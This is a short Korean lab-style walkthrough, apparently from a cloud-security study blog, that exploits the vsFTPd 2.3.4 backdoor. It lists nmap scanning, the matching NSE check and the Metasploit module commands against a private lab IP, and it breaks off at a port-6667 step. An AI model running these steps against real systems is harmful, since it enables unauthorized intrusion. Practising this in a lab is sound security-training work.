처음 만나는 클라우드 보안

21번 포트 (vsFTP) 1. nmap 이용해 공격 대상의 취약 포트를 찾는다. sudo nmap -A 192.168.5.130 21번 포트 (vsFTP 2.3.4) 2. nmap에서 관련 취약점 스크립트가 존재하는지 확인 21번 포트의 VSFTP 취약점을 파악하는 스크립트 활용 $sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.130 -p 21 3. Metasploit에 해당 스크립트 장착 use exploit/unix/ftp/vsftpd_234_backdoor info tap => set RHOST 공격 대상 IP 입력 show payloads => 현재 장착된 페이로드 확인 / 해당 포트는 별도의 페이로드 없어도 된다. 4. Exploit 6667번 ..